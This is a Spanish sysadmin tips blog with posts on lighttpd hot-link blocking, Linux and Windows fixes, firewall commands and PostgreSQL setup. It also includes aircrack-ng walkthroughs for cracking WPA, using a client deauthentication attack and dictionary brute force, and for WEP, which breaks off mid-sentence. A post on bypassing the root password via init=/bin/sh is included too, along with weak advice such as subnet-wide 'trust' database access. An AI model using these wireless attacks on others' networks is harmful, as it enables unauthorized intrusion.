Tips Tips + Tips

Hot-linking, más allá de robar BW

2012-01-06T16:36:00.003-03:00

En wikipedia, econtramos la siguiente defición :

" Hot-linking es un término que se usa en Internet. Indica que alguien está usando un enlace a una imagen que está archivada en otro sitio web, en lugar de guardar una copia de la imagen en el sitio web en el que se mostrará la imagen. Por ejemplo, en lugar de guardar una imagen .gif y cargarla en su propio sitio web, la persona usa un enlace de tipo absoluto hacia la imagen, semejante a http://sitioweb.com/imagen.gif, en lugar de un enlace de tipo relativo.Quien efectúa hot-linking está usando el ancho de banda de la persona propietaria del sitio web en la cual la imagen está archivada. Esto tiene un costo para dicho propietario. Es por esto que muchos propietarios de sitios web estan usando archivos .htaccess que incorporan a sus sitios web. En algunos casos, los dueños de los sitios web usan los archivos .htaccess para reemplazar las imagenes linkadas por otras ofensivas o con un mensaje publicitario del sitio original para disuadir a los propietarios de sitos web de efectuar esta práctica."

Sin embargo, en los últimos días me llego un correo electrónico que me dio nuevas "luces" del problema del Hot-linking, que mas allá de un uso de ancho de banda, facilita además el Phishing.
El correo en cuestión es de los típicos casa-bobos para obtener las credenciales para "ocupar" el correo. La diferencia en esta oportunidad, es que el correo traía el logotipo institucional el cual es es ocupado por varios usuarios como pie de firma Cueck!!. A eso sumarle que traía un link que mostraba una pagina igual al de nuestro webmail, como no si las imágenes estaban enlazadas desde el mismo servidor de webmail.Así que tome un poco mas en serio el tema, acá dejo unos soluciones para evitar el hot-linking en lighttpd:
En el archivo de configuración de lighttpd:
Si solo queremos que nuestras imágenes sean enlazadas solo desde los servidores de tudominio.cl


  $HTTP["referer"] !~ "^https?://(|.*\.)tudominio\.cl" {
    url.access-deny = ( ".jpg", ".png", ".jpeg", ".gif")
  }

Si por el contrario lo que deseas hacer es reemplazar la imagen por otra


  $HTTP["referer"] !~ "^https?://(|.*\.)tudominio\.cl" {
    url.rewrite = ("(?i)(/.*\.(jpe?g|png|gif))$" => "/hotlink_fake.png" )
  }

Para revisar si funciona tu anti hot-link, existe varias utilidades "Hotlink Checker" (google es tu amigo), para que puedas revisar tus imágenes.
Eso por hoy!
Done Cya!!

Debian error: driver pcspkr is already registered aborting

2011-09-27T16:03:00.000-03:00

Este error aparece cuando la maquina esta booteando. Se puede ver con dmeg o en archivo error en /var/log.Este error se debe a que se esta intentando cargar dos driver distintos para el speaker del equipo, para solucionarlo, se debe instalar el paquete alsa-base.Lo debes hacer como Root o con sudo

$ apt-get install alsa-base

luego

echo blacklist snd-pcsp >> /etc/modprobe.d/alsa-base-blacklist

Done Cya!!! }:-)

Problemas Acentos Ñ en documentos Web.

2011-01-10T10:36:00.011-03:00

He estado desarrollando una aplicación con Tomcat, como no tengo buena ortografía, siempre dejo para el final esta parte, cuando creo una aplicación web, pero en este caso, pelee mucho para que se mostraran los acentos y las ñ en mis paginas. Les dejo algunos consejos para solucionar este problema, en el caso de Linux con tomcat , solo me funciono la ultima.

1. Modificar en apache el charset, esto se hace en /etc/apache2/conf.d/charset, se agrega la linea :
AddDefaultCharset tipo de chaset, puede ser UTF-8|ISO-8859-1
Lo hice en apache porque a traves de el invoco tomcat vía mod-jk.

2. Modificar el meta en el archivo, si es html :

"text/html;charset=ISO-8859-1"

Si es jsp :
<%@ page contentType="text/html; charset=UTF-8" %>

3. Otra opción es reemplazar los caracteres con acento y las ñ por sus respectivos valores html , para las vocales con acento seria :

&+vocal+acute;

Ñ= &+N+tilde;

4. Determinar la codificación que tiene el archivo, para ello utilizamos el comando file:
$file archivo , lo que nos devolverá la codificación de este
ej: paso1: ISO-8859 text, with very long lines
Luego con el comando iconv, cambiamos la codificación del archivo:
$iconv -t codificación -o archivo_destino archivo_original.

Para ver la lista de codificaciones soportadas, las puedes ver con :
$iconv --list

Done !!!! Cya !! }:-)

Epson Scan se cierra

2010-07-26T15:39:00.002-04:00

Al iniciar el programa para scanear con una Epson Stylus CX 4100, el programa simplemente se cierra.

Luego de mucho probar, reinstalar el programa, limpiar archivos temporales,etc.
Se me ocurrió limpiar la carpeta epson del usuario. Problema resuelto, entonces se deben borrar los archivos que se encuentran en la carpeta epson del usuario, ubicado en :

C:\Documents and Settings\usuario_con_problemas\Datos de Programa\EPSON

Done Cya!!

Comandos utiles de PF

2010-07-08T16:19:00.006-04:00

Packet Filter (PF), es un sistema , que permite filtrar el trafico TCP/IP en OpenBSD. Consume pocos recursos, "practicamente" las reglas se crean en lenguaje natural Inglés).
Permite el manejo de macros, tablas, los que permite una mejor reutilización de los filtros.

Para comenzar con PF, puedes leer el tutorial de Peter N. M. Hansteen (Inglés).

Para habilitar PF usamos :

$ pfctl -e

Para deshabilitar PF:

$ pfctl -d

Para cargar un archivo de configuración:

$ pfctl -f /path/del/archivo

Para listar las reglas de filtrado:

$ pfctl -sr

Para las reglas de NAT:
$ pfctl -sn

Para ver las estadísticas:
$ pfctl -si

Para ver lo que se filtra
$ tcpdump -n -e -ttt -i pflog0

Tambien se puede filtrar lo que se quiere ver, por ejemplo me interesa lo que pasa en el puerto 80.
$ tcpdump -n -e -ttt -i pflog0 port 80

o un host en particular
$ tcpdump -n -e -ttt -i pflog0 host 192.168.1.3

o una combinación de ambos
$ tcpdump -n -e -ttt -i pflog0 port 80 and host 192.168.1.3

Además de los filtros por defecto que trae tcpdump(8), este ha sido extendido para que pueda leer las salidas de pflogd:

ip - IPv4.
ip6 - IPv6.
on int - paquetes que pasan por la interfaz int.
ifname int - lo mismo que on int.
ruleset name - nombre de la regla con la cual el paquete coincida.
rulenum num - numero de la regla con la cual el paquete coincida .
action act - La acción del paquete (pass y block).
reason res - la razón que la action tomo. Posibles razones son match, bad-offset, fragment, short, normalize, memory, bad-timestamp, congestion, ip-option, proto-cksum, state-mismatch, state-insert, state-limit, src-limit, y synproxy.
inbound - paquetes que entran.
outbound - paquetes que salen.

Ejemplo

$ tcpdump -n -e -ttt -i pflog0 inbound and acction block and on em0

Muestra en tiempo real, los paquetes de entrada, que están siendo bloqueados en la tarjeta de red em0.

Done!!! Cya!!
}:-)

Buscar coincidencias

2010-07-08T15:33:00.003-04:00

Algunas veces en necesario buscar un archivo que sabemos que contiene 'algo', pero no sabemos cual archivo es. Por ejemplo debemos modificar algún parámetro en algún archivo.
Bueno con un solo comando se puede hacer.

$

grep -rli  'lo_que_buscas' path_donde_buscar

Ej:
$ grep -rli 'jptips' /etc

Done!! Cya!!!

}:-)

Linux bloqueado

2010-07-08T14:52:00.003-04:00

Cosa que es rara. Es mas habitual en Winbug, que se pegue.
Para esas raras ocaciones, en la cuales nuestro Linux se quede "colgado", lo cual puede pasar por problemas de memoria, muchos procesos,etc. Existe una solución antes de utilizar el botón de reset o de power, esta es utilizar una combinación de teclas, que permitirán reiniciar nuestra maquina de una manera segura.

Para hacerlo se debe presionar la siguiente combinación :

Presionamos ALT+Impr Pant (o SysRq en algunos teclados), sin soltarlas, se escribre : REISUB , con esto se logra lo siguiente :

R : (Raw) Devuelve el control al teclado (Raw)
E : (End) Envia todos los procesos al term, es decir, los hace terminar.
I : Envia los procesos al Kill, "los mata".
S : (Sync) Sincroniza los discos duros.
U : (Unmount) Desmonta el filesystem.
B : (Reboot) Finalmente , reinicia el equipo.

Done!!!!
Cya!!! }:-)

SSH sin password

2009-12-06T16:24:00.003-03:00

Muchas veces cuando uno administra muchos servidores, uno tiende a olvidar las contraseñas, sobre todo si son distintas y no los accesas constantemente, o simplemente te da flojera estar escribiendo la contraseña a cada rato.
Para esto podemos hacer que ssh no solicite la contraseña, para eso :
En la máquina cliente, o sea desde donde te vas a conectar, debemos hacer lo siguiente :
Si no existe el directorio .ssh, lo debemos crear en tu home :

$ mkdir  .ssh
$ chmod 0700 .ssh

Luego creamos las claves para ssh , para ello :

$ ssh-keygen -t dsa -f $HOME/.ssh/id_dsa -P ''

Este comando creo dos archivos :
id_dsa, que es la clave privada y id_dsa.pub, que es la clave publica, esta es la que debes copiar al servidor, lo puedes hacer via scp.

Una vez que tengas el archivo en el servidor debes hacer lo suguiente :

$ cat id_dsa.pub >> $HOME/.ssh/authorized_keys
$ chmod 0600 $HOME/.ssh/authorized_keys

Ahora ya puedes conectarte via SSH sin contraseña.
Done!!
}:-)

Ubuntu 9.04 ipw4965 aircrack

2009-10-02T17:43:00.015-04:00

De vuelta al Ruedo... ahora para la versión Ubuntu 9.04

Lo primero es tener instalados los headers de la versión del kernel que actualmente estas ocupando.

Para ver la versión del kernel :

$ uname -r

en mi caso : 2.6.28-15-generic
Para verificar si tenemos instalados los headers :

$ dpkg --get-selections|grep 2.6.28-15-generic

en mi caso se aparece :

linux-headers-2.6.28-15-generic install

si no te aparecen los headers:

$ apt-get install linux-headers-2.6.x.y (donde x.y corresponde a la versión del kernel)

Listo el tema del kernel, ahora a descargar lo necesario.

$ cd /usr/src
$ wget http://wireless.kernel.org/download/iw/iw-0.9.9.tar.bz2
$ wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz
$ wget http://www.intellinuxwireless.org/iwlwifi/downloads/iwlwifi-4965-ucode-228.61.2.24.tgz
$ wget http://www.orbit-lab.org/kernel/compat-wireless-2.6-stable/v2.6.30/compat-wireless-2.6.30.tar.bz2
$ wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz

Ahora a compilar (Como Root o con sudo):

$ tar -xvzf iwlwifi-4965-ucode-228.61.2.24.tgz
$ cp iwlwifi-4965-ucode-228.61.2.24/* /lib/firmware/
$ tar -xvjf compat-wireless-2.6.30.tar.bz2
$ cd compat-wireless-2.6.30/
$ make
$ make install

Si tienes problemas para hacer los siguientes pasos, puedes probar apagar o deshabilitar tu tarjeta wifi, o simplemente reiniciar el equipo

$ make unload
$ make load

El siguiente paso es instalar el aircrack

$ apt-get install libnl-dev
$ tar -xvjf iw-0.9.9.tar.bz2 (Lo utiliza el airmon y necesario para crear las mon0)
$ cd iw-0.9.9/
$ make
$ make install
$ cd ..
$ tar -xvzf aircrack-ng-1.0.tar.gz
$ cd aircrack-ng-1.0/
$ make
$ make strip
$ make install
$ airodump-ng-oui-update

probamos :

$ airmon-ng start wlan0

Interface Chipset Driver

wlan0 Intel 4965/5xxx iwlagn - [phy0]
(monitor mode enabled on mon0)

Y el resto ya lo saben.

Done !! Cya!!

}:-)

Thunderbird No muestra Correos Nuevos En Subcarpetas

2009-09-22T17:38:00.003-04:00

Bueno hace mucho tiempo que utilizo Mozilla Thunderbird para leer mis correos, ya sea en winbug o Linux.

Mis correo los tengo configurado como imap, y los filtros los tengo configurado con sieve en el servidor de correo. El tema es que cada vez que me llega un correo nuevo, thunderbird solo lo muestra como nuevo cuando queda en la Bandeja de Entrada, y no cuando queda en alguna subcarpeta (esto lo hago con sieve).

Para solucionar esto, simplemente se debe editar el archivo de configuración de Thunderbird, este archivo se llama : pref.js
Se debe agregar la siguiente linea :
user_pref("mail.check_all_imap_folders_for_new", true);

Guardar, salir , volver a iniciar Thunderbird.

Done!!!
}:-)
Cya!!!

No se puede encontrar la DLL de WAB

2009-04-02T10:21:00.002-04:00

Al utilizar outlook 2000 en Micro$oft Vista, me apareció el siguiente error :

"No se puede guardar elemento. Error al intentar abrir la Libreta de direcciones de Windows. No se puede encontrar la DLL de WAB".

Para Solucionar esto :

Copiar los archivos wab32.dll y wab32res.dll que se encuentran el la capeta C:\Archivos de programa\Common Files\System, a la carpeta C:\Windows\System32

Luego Registrar los DLL

regsvr32 wab32.dll
regsvr32 wab32res.dll

Done!!!!
Cya! }:-)

Bloquear P2P con Iptables

2009-03-27T12:21:00.005-04:00

Iptables (netfilter) es una herramientas que entre muchas cosas no permite crear nuestros firewall, proxy transparente, filtrado de paquetes.

Actualmente iptables no nos permite bloquear las conexiones P2P, para eso esta IPP2P, que nos permite agregar esta funcionalidad a Iptables, para eso debemos hacer lo siguiente (como Root o con sudo) :

$ apt-get install iptables-dev kernel-headers-`uname-r`

verificamos la versión de iptables :

$iptables --version

en mi caso :
iptables v1.3.6

$ cd /usr/src
$ wget http://www.netfilter.org/projects/iptables/files/iptables-1.3.6.tar.bz2
$ tar -xvjf iptables-1.3.6.tar.bz2

Bajamos la ultima versión de ipp2p desde http://www.ipp2p.org/downloads_en.html

$ wget http://www.ipp2p.org/downloads/ipp2p-0.8.2.tar.gz
$ tar -xvzf ipp2p-0.8.2.tar.gz
$ cd ipp2p-0.8.2
$ vi Makefile

aquí modificamos la siguiente linea :
ld -shared -o libipt_ipp2p.so libipt_ipp2p.o
por :
$(CC) -shared -o libipt_ipp2p.so libipt_ipp2p.o
guardamos y salimos.

$ make (si no tenemos errores pasamos al siguiente paso)
$ cp libipt_ipp2p.so /lib/iptables/
$ cp ipt_ipp2p.ko /lib/modules/`uname -r`/kernel/net/ipv4

Verificamos que todo vaya bien :

$ iptables -m ipp2p --help

debiera aparecer el help, en caso contrario algo va mal. si aparece sin problemas hacemos lo siguiente :

$ depmod -ae
$ modprobe ipt_ipp2p

solo nos queda crear nuestros filtros como por ejemplo :

$ iptables -A FORWARD -p tcp -m ipp2p --bit --apple --winmx --soul --ares -j DROP

si queremos logear esta regla :

$ iptables -A FORWARD -p tcp -m ipp2p --bit --apple --winmx --soul --ares -j LOG --log-prefix "P2PBLOQUEADO"

para ver el trafico :

$ tail -f /var/log/messages |grep P2PBLOQUEADO

El resto RTFM!!!!

Done!!!

Cya!!!! }:-)

Error 403 Forbidden lighttpd

2009-03-04T16:37:00.002-03:00

Este error aparece entre otras veces, cuando intentas cargar una pagina php, y no tiene soporte para php.

Primero verificamos que tengas instalado php.

$ dpkg --get-selections|grep php

si no te devuelve nada, entonces debes instalarlo, para eso :

$ apt-get install php5-cli php5-gd php5-cgi (como Root! o con sudo)

Luego debemos habilitar el soporte php en lighttpd, para eso :

$ lighty-enable-mod

respondemos : fastcgi y luego reiniciamos el servicio

$ /etc/init.d/lighttpd restart

Done !!!
Cya!!! }:-)

Microsoft Visual C++ Runtime Library Buffer overrun detected

2009-01-16T16:54:00.003-03:00

Este problema, lo he visto cuando trabajan en Word o en Powerpoint, para solucionar este error, se debe eliminar el siguiente archivo:

Archivos programa\Archivos comunes\MicrosoftShared\Proof\mssp3es.dll

Esto es un error con el corrector ortográfico, el cual debes volver a instalar.
Done !!!
}:-)

Ubuntu 8.10 ipw4965 aircrack

2008-12-23T09:46:00.014-03:00

Estimados no había tenido tiempo para actualizar el procedimiento para Ubuntu 8.10.

Gracias a Nosekefik por ayudar con sus comentarios e investigaciones que permiten actualizar este tip

Lo primero es tener instalados los headers de la versión del kernel que actualmente estas ocupando.

Para ver la versión del kernel :

$ uname -a

en mi caso : 2.6.27-9-generic
Para verificar si tenemos instalados los headers :

$ dpkg --get-selections|grep 2.6.24-19-generic

en mi caso se aparece :

linux-headers-2.6.27-9-generic install

si no te aparecen los headers:

$ apt-get install linux-headers-2.6.x.y

Listo el tema del kernel, ahora a descargar lo necesario.

$ cd /usr/src
$ wget http://dl.aircrack-ng.org/iw.tar.bz2
$ wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc1.tar.gz
$ wget http://www.intellinuxwireless.org/iwlwifi/downloads/iwlwifi-4965-ucode-228.57.2.23.tgz
$ lynx http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2.6.tar.bz2 (Selecciona D, para descargar)

Ahora a compilar (Como Root o con sudo):

$ tar -xvzf iwlwifi-4965-ucode-228.57.2.23.tgz
$ cp iwlwifi-4965-ucode-228.57.2.23/* /lib/firmware/
$ tar -xvjf compat-wireless-2.6.tar.bz2
$ cd compat-wireless-2008-12-23/
$ make
$ make install

Si tienes problemas para hacer los siguientes pasos, puedes probar apagar o deshabilitar tu tarjeta wifi, o simplemente reiniciar el equipo

$ make unload
$ make load

El siguiente paso es instalar el aircrack

$ apt-get install libnl-dev
$ tar -xvjf iw.tar.bz2 (Lo utiliza el airmon y necesario para crear las mon0)

He tenido problemas para compilar el tarball aircrack-ng-1.0-rc1.tar.gz en esta versión de Ubuntu.
El error que aparece al ejecutar el make es :

make -C src all
make[1]: se ingresa al directorio `/usr/src/8.10/aircrack-ng-1.0-rc1/src'
make -C osdep
make[2]: se ingresa al directorio `/usr/src/8.10/aircrack-ng-1.0-rc1/src/osdep'
Building for Linux
make[3]: se ingresa al directorio `/usr/src/8.10/aircrack-ng-1.0-rc1/src/osdep'
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -fPIC -I.. -c -o linux.o linux.c
cc1: warnings being treated as errors
linux.c: En la función ‘is_ndiswrapper’:
.
.
.
make[3]: *** [linux.o] Error 1
make[3]: se sale del directorio `/usr/src/8.10/aircrack-ng-1.0-rc1/src/osdep'
make[2]: *** [all] Error 2
make[2]: se sale del directorio `/usr/src/8.10/aircrack-ng-1.0-rc1/src/osdep'
make[1]: *** [osd] Error 2
make[1]: se sale del directorio `/usr/src/8.10/aircrack-ng-1.0-rc1/src'
make: *** [all] Error 2

Aparentemente es un bug con esta versión, para instalarlo se debe hacer lo siguiente :

$ svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
$ cd aircrack-ng
$ make
$ make install

probamos :

$ airmon-ng start wlan0

Interface Chipset Driver

wlan0 iwl4965 a/b/g/n - [phy1]
monitor mode enabled on mon0

Y el resto ya lo saben.

Done !! Cya!!

}:-)

Información del Hardware en Linux

2008-12-17T13:38:00.003-03:00

Para poder ver los detalles del hardware de nuestro equipo, podemos hacerlo a través del utilitario lshw.

Esta herramienta nos permite entre otra cosas saber que tipo de memoria estamos utilizando así como fabricante, modelo.

$ sudo apt-get install lshw lshw-gtk

para ejecutar la aplicación ya sea en la consola o en ambiente gráfico, debemos hacerlo como Root o en su defecto con sudo.
En consola :

$ sudo lshw -html > reporte-hw.html

Esta linea guarda la información de nuestro hardware, en el archivo reporte-hw.html, el cual lo puedes revisar en tu navegador.
Tambien contamos con la version grafica de la herramienta.

$ sudo lshw-gtk

aquí les dejo un screenshot

Done!!! Cya!!

}:-)

Recuperar Grub

2008-12-17T12:52:00.003-03:00

Varias veces jugado con Grub y mas de alguna vez se ha corrompido.
Para solucionar este problemilla. Basta con iniciar con un cd de instalación de alguna distribución o algún livecd.
Una vez que has iniciado con el cd.. lo que se debe hacer es :

Montar la partición donde esta / del Linux. Para este ejemplo sera sda6, entonces ejcutamos :

$ mkdir /mnt/sda6
$ sudo mount /dev/sda6 /mnt/sda6 -t ext3
$ sudo grub-install --root-directory=/mnt/sda6 /dev/sda

Solo queda probar como nos fue.


done!

}:-)

Buscar Archivos que contengan la palabra

2008-10-26T18:38:00.003-03:00

Para buscar Archivos que contengan una palabra o frase :

```
grep -rli  'frase a buscar' directorio/
```

done... cya!!!!

}:-)

php include

2008-10-13T15:00:00.004-03:00

Muchas veces hemos utilizado la función include de php. Pero en algunas ocasiones, estos archivos no se encuentran en el mismo directorio o no están bajo el DocumentRoot de apache, y por lo general cuando esto pasa, debemos hacer el include de la siguiente forma :

Lo que encuentro poco practico, ya que si mueves tu aplicacion de host o directorio, debes modificar "todos" los archivos que tienen este include.. :P

Para tener que solo escribir :

Modificar el httpd.conf de nuetro apache :

$ vi /ruta/a/httpd.conf

y agregar (sin los '):

<'directory>
AllowOverride all
<'/ directory>

Guarda los cambios y reinicia apache.
Luego ir al directorio donde están tus archivos php y crear un archivo que se llame .htaccess

vi .htaccess

y agrega la siguiente linea :

php_value include_path ".;/ruta/al/directorio/donde/se/encuentran/archivos a incluir"

Cya!!! done.... :P

Lista de Paises en Postgresql

2008-10-13T11:59:00.003-03:00

Haciendo un sistema, me vi en la necesidad de tener una lista de los países en una tabla, y como es considero que es una información útil, acá esta.

Tabla en postgresql :

CREATE TABLE paises
(
id_pais serial NOT NULL,
isonum integer NOT NULL,
iso2 character(2) NOT NULL,
iso3 character(3) NOT NULL,
nombre character(80) NOT NULL,
CONSTRAINT paises_pkey PRIMARY KEY (id_pais)
)

lista de países, acá

cya!!! }:-)

Aircrack Wpa }:-)

2008-10-07T10:36:00.014-04:00

Este tema lo tenia pendiente, aprovechando unos días de "descanso forzado", lo termine.

La siguiente información es solamente educacional, para que puedas verificar la seguridad de tu AP.

Supuestos :

Tener Correctamente instalado aircrack.
Un AP con clave wpa.
Un cliente wireless conectado a ese AP.

Para poder determina la clave wpa, de algún punto de acceso, debemos "monitorear" la red. para eso como Root, o con sudo ejecutamos airmon :

$ airmon-ng start wlan0 //En esta caso wlan0 es mi interface de wifi

En este punto nos interesa obtener la siguiente información :

MAC punto de acceso (BSSID)
MAC cliente wifi (STATION)
Canal del AP (CH)

Para poder ver las redes "disponibles" , ejecutamos (Como Root o con sudo) :

$ airodump-ng mon0

Una vez que tienes estos datos, cierras airodump, y volvemos a ejecutarlo de la siguiente manera (Como Root o con sudo) :

$ airodump-ng --channel canal --bssid mac_bssid -w archivo interfaz

para este ejemplo seria :

$ airodump-ng --channel 10 --bssid 00:18:XX:XX:XX:XX -w jptips mon 0

Es decir guarda en jptips, todo lo que escuche del AP 00:18:XX:XX:XX:XX por el canal 10 , en la interfaz mon0.

El siguiente paso, si tiene paciencia es esperar que algún usuario se valide para poder obtener el handshake. Si no tienes paciencia puedes desautentificar al cliente wireless, para eso ejecutamos (Como Root o con sudo) en otra consola :

$ aireplay-ng -0 n -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx i_face

Donde :

-0 : desautentifica
n: cantidad de veces que envía la desauntetificación
-a : AP
-c: Cliente wireless
i_face: Interfaz de red.

Para este ejemplo seria :

$ aireplay-ng -0 1 -a 00:18:xx:xx:xx:xx -c 00:16:xx:xx:xx:xx mon0

Lo cual devolvería si fue exitoso :

"Waiting for Beacom frame (BSSID 00:18:xx:xx:xx:xx ) on channel 10
Sending 64 directed DeAuth. STMAC: [00:16:xx:xx:xx:xx] [1|0 ACKs]"

Con esto hemos desautenficado al cliente, lo que nos dara la oportunidad de capturar el handshake, para ver si lo hemos obtenido, volvemos a la consola donde se esta ejecutado airodump-ng

Hasta aquí todo bien, se pueden cerrar las consolas, como el wpa, no se puede desencriptar, lo que se hace es buscar este handshake, a través de la fuerza bruta, comparando palabras (diccionario), con el handshake. Lo que nos dice que necesitamos un buen diccionario, en internet hay varios, o los puedes crear tu. Yo he utilizado John the Ripper para crear diccionarios (RTFM).

Una vez que tengas tu diccionario :

$ aircrack-ng -b 00:18:xx:xx:xx:xx jptips*.cap -w diccionario.txt

Luego hay que esperar un rato, recuerda que esto depende que encuentres la clave.

Done..... Cya!!!!

}:-)

Respaldo base de datos Postgresql

2008-09-29T16:32:00.009-04:00

Para hacer una copia de la base de datos :

$ pg_dump base_de_datos > archivo.sql

Para Restaurar la base de base de datos :

$ psql -e base_de_datos < archivo.sql

done!!!!
cya!

Windows Vista se reinicia indefinidamente

2008-08-19T16:32:00.006-04:00

Hoy llego a mis manos un portátil , el cual se reiniciaba cada vez que entraba a windows, tampoco se podía entrar en modo seguro.

El mensaje que aparecía en pantalla era :

Configuración de la Actualizaciones : Etapa 3 de 3 ,0% Completo

luego simplemente se reinicia indefinidamente.

Una de las opciones que pensé, era el recuperar el Winbug Vista con el dvd de instalación. Pero como nada es simple en la vida, el dueño del equipo no le tiene... damn it!

Pero para salir solucionar el problema tenemos el Live-cd de Ubuntu .

Iniciamos el equipo con el Live-cd
Montamos el disco duro donde esta Winbug.

Lo mas probable es que no te deje montar el disco, esto porque ntfs dejo el disco marcado como en uso. Pasa Solucionar esto en linux:

$ sudo su
$ ntfsfix /dev/tu_disco
$ volver a montar el disco
$ cd /media/nombre_disco/Windows/winsxs
$ mv pending.xml pendingstop.xml
$ reboot

Ahora si tiene el dvd de Windows Vista. Inicia con el la consola de recuperación.

cd Windows\winsxs
ren pending.xml pendingstop.xml
reiniciar

Luego de reiniciar el equipo esperar como 10 minutos (no me preguntes lo que hace winbug, pero eso es lo que se demora aproximadamente).

Ya puedes "disfrutar" tu Winbug Vista

Done!..... :P

Dreamweaver CS3 en Ubuntu

2008-08-11T17:28:00.003-04:00

El siguiente tutorial es para ejecutar Cañaverear CS3 en Ubuntu con Wine.

Supuesto :
Tiene Dreamweaver instalado en Windows (obviamente licenciado).

Manos a la obra , necesitamos :

wine
Dreamweaver
recode

Instalamos wine y recode

$ sudo apt-get install recode wine

Lo primero configurar wine, para eso :

$ winecfg

Luego copiar los archivos necesarios :
Suponiendo que tengo windows instalado en /dev/sda2 y que se encuentra montado en /mnt/sda2

$ cp -R /mnt/sda2/Archivos de programa/Adobe/* /home/(tu_usuario)/.wine/drive_c/Archivos de programa/Adobe
$ cp -R /mnt/sda2/Documents and settings/All users/Datos de Programa/Adobe /home/(tu_usuario)/.wine/drive_c/window/profiles/all users/
$ cp -R /mnt/sda2/Archivos de programa/Archivos Comunes/Adobe /home/(tu_usuario)/.wine/drive_c/Archivos de programa/Archivos Comunes/Adobe
$ cp -R /mnt/sda2/windows/WinSxS /home/(tu_usuario)/.wine/drive_c/windows

Ahora vamos con windows :
Iniciamos en windows y ejecutamos el regedit, aca nos interesan las siguiente clave del registro:

HKEY_LOCAL_MACHINE/Software/Macromedia/

Lo que debes hacer es exportarla a un archivo ( ej: macro.reg) :
copia este archivo a linux, una ves en linux haz lo siguiente :

$ recode ucs-2..ascii macro.reg
$ wine regedit macro.reg

luego ejecutamos :

$ wine /home/(tu_usuario)/.wine/drive_c/Archivos\ de\ programa/Adobe/Adobe\ Dreamweaver\ CS3/Dreamweaver.exe

Aquí todo debería ir bien , pero no fue así en mi caso, una vez ejecutado el comando anterior, me aparecieron mensajes del tipo :

err:module:import_dll Library MSVCR80.dll (which is needed by L"C:\\Archivos de programa\\Adobe\\Adobe Dreamweaver CS3\\CoreTypes.dll") not found
err:module:import_dll Library MSVCP80.dll (which is needed by L"C:\\Archivos de programa\\Adobe\\Adobe Dreamweaver CS3\\CoreTypes.dll") not found
err:module:import_dll Library CoreTypes.dll (which is needed by L"C:\\Archivos de programa\\Adobe\\Adobe Dreamweaver CS3\\NetIO.dll") not found
err:module:import_dll Library MSVCP80.dll (which is needed by L"C:\\Archivos de programa\\Adobe\\Adobe Dreamweaver CS3\\NetIO.dll") not found
.
.
.
etc.

para solucionar esto :

$ cd /home/(tu_usuario)/.wine/drive_c/windows/WinSxS
$ mv * ../winsxs
$ cd ../winsxs
$ mv Manifests/* manifests/

luego ejecutamos :

$ wine /home/(tu_usuario)/.wine/drive_c/Archivos\ de\ programa/Adobe/Adobe\ Dreamweaver\ CS3/Dreamweaver.exe

y Ahora todo funciona ok.

Done.... :P

Postgresql desde la Red.

2008-08-08T16:29:00.003-04:00

Para dar acceso desde la red hacia tu servidor Postgresql, se debe modifica el archivo pg_hba.conf.
En Ubuntu o Debian, se puede encontrar por defecto en :

/etc/postgresql/Numero_version/main/pg_hba.conf (ej: en mi caso /etc/postgresql/8.3/main/pg_hba.conf )

Este archivo lo debes editar, y agregar la siguiente linea (suponiendo que el equipo del cual te quieres conectar esta en la red 192.168.1.0)

host all all 192.168.1.0/24 trust

Otro archivo a modificar es postgresql.conf que se encuentra en el mismo directorio que pg_hba.conf.

Se debe descomentar la siguiente linea :

#listen_addresses = 'localhost', y cambiarla por listen_addresses = '*'

luego reiniciar postgresql :

/etc/init.d/postgresql restart

Otra cosa importante es verificar el Firewall tenga permitido las conexiones al puerto 5432 (defecto) desde la red o maquina de la cual te deseas conectar.

mkdtemp: private socket dir: Permission denied

2008-08-06T22:34:00.003-04:00

Problema :
Hoy al tratar de iniciar mi sesión en Gnome, no pude , apareció un mensaje indicando que la sesión apenas habia durado 10 segundos.

Para mayor información que revisara el archivo ~/.xsession-errors, y simplemente no me dejaba ingresar.
En esta archivo me indicaba el siguiente error :

mkdtemp: private socket dir: Permission denied

Solución :

Para solucionarlo simplemente :

$ chmod a+w /tmp (Como Root!!!! o con sudo)

done. :P

Password del Root!!!

2008-08-04T17:21:00.005-04:00

En mas de una oportunidad he olvidado la contraseña del Root de alguna maquina.
Bueno para solucionar este problema.

Si tienes Lilo: al momento de bootear, escribe : boot: Linux init=/bin/sh , luego presiona enter.
Si tienes Grub : al momento de bootear, selecciona tu kernel y presiona la tecla "e" al final de la linea agrega : init=/bin/sh.

Una vez en el prompt :

$ mount -n -o remount,rw /

Opción 1:

$ mount -avt nonfs,noproc,nosmbfs
$ cd /etc
$vi /etc/shadow
Una vez aquí, eliminas la contraseña del root

Opción 2:

$ passwd root

Hp Director no abre...

2008-08-04T17:04:00.003-04:00

Luego de instalar el software del scanner, y al querer utilizar el HP director, este simplemente no se ejecutaba

Para solucionar este problema, encontré un parche aquí, una vez instalado, reiniciar el computador y el Programa funciono bien.

:P

Aircrack Wep }:-)

2008-07-28T12:16:00.017-04:00

La siguiente información es solamente educacional.

Supuestos :

Tener Correctamente instalado aircrack.
Tener Instalado wireshark.
Un AP con clave wep.
Un cliente wireless conectado a ese AP.

Para poder determina la clave wep, de algún punto de acceso, debemos "monitorear" la red. para eso como Root, o con sudo ejecutamos airmon :

$ airmon-ng start wlan0 //En esta caso wlan0 es mi interface de wifi
$ airodump-ng mon0

En este punto nos interesa obtener la siguiente información :

MAC punto de acceso (BSSID)
MAC cliente wifi (STATION)
Canal del AP (CH)

cuando ya tienes estos datos, cierras airodump, y volvemos a ejecutarlo de la siguiente manera :

$ airodump-ng --channel canal --bssid mac_bssid -w archivo interfaz

para este ejemplo seria :

$ airodump-ng --channel 6 --bssid 00:1A:XX:XX:XX:XX -w wep_c wlan0

Es decir guarda en wep_c, todo lo que escuche del AP 00:1A:XX:XX:XX:XX por el canal 6 , en la interfaz wlan0.

Esperamos un rato, y ejecutamos wireshark.

Ir al menú File - Open , y abrir el archivo en el cual se están guardando los paquetes, en esta caso el archivo wep_c.

Una vez hecho esto, debemos buscar un paquete para inyectar.

Primero vamos a filtrar los paquetes para ello en filter, escribimos :

